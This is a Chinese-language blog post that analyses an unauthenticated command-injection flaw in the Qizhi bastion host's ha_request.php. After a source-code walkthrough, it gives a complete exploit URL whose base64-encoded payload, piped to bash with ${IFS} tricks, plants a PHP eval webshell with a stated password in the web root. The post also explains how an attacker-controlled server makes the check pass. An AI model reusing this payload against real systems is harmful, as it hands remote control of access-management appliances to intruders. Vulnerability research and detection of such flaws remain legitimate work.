齐治堡垒机前台远程命令执行漏洞

 

 

源代码分析:

 问题出现在 ha_request.php 文件,第 37 行的 exec 函数,$url 为用户可控的变量,可见第 33 和 34 行。目光来到第 23 和 24 行,只要 node_request 函数的返回值为“OK”,即可跳过 fatal 函数(此函数为自定义函数,作用类似 PHP 内置的 exit 函数),继续往下执行。Node_request 函数的定义在 include/common.php 文件中,见下图 2。按照其原本的逻辑,其作用是请求$url,并返回其内容。根据代码逻辑,

$url ="http://$req_ipaddr"."/listener/$method.php?n=$req_node_id&a=".urlencode(json_encode($args));

所以$url 变量值类似于

http://10.20.10.11/listener/cluster_manage.php?n=1&a=%5B%22install%22%5D

这样的字符串。但是$req_ipaddr 和$req_node_id 均来自用户输入。因此,假设 10.20.10.11 为黑客可控的服务器,listener/cluster_manage.php 文件的内容为“<?php echo ‘OK’;>”,即可使得node_request 函数返回“OK”,从而跳过 fatal 函数,继续往下执行来到 exec 函数。回到 exec 函数,此时该函数的第一个参数是这样的,

"wget --no-check-certificatehttp://10.20.10.11 /ha_get_install.php?n=$req_node_id -O backup_scripts.tar.bz2"

所以我们的 payload只能放在$req_node_id 变量中。见下图3,$req_ipaddr和$req_node_id其实来自于$_REQUEST[‘ipaddr’]和$_REQUEST[node_id’],并做了全局过滤,删除掉一些危险字符

 

图片1

图片2

图片3

漏洞利用:
  利用条件:

    无需登录
第一:

  http://10.20.10.11/listener/cluster_manage.php 返回“OK”。

第二:

  执行以下链接即可 getshell,执行成功后,生成 PHP 一句话马/var/www/shterm/resources/qrcode/lbj77.php 密码 10086,使用 BASE64 进行编码。这里假设 10.20.10.10 为堡垒机的 IP 地址。

https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}

  

特征:
漏洞利用点:

https://10.20.10.10/ha_request.phpPoc 形式:${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}

 

posted @ 2020-09-13 21:43  逗比大师  阅读(2584)  评论(0编辑  收藏  举报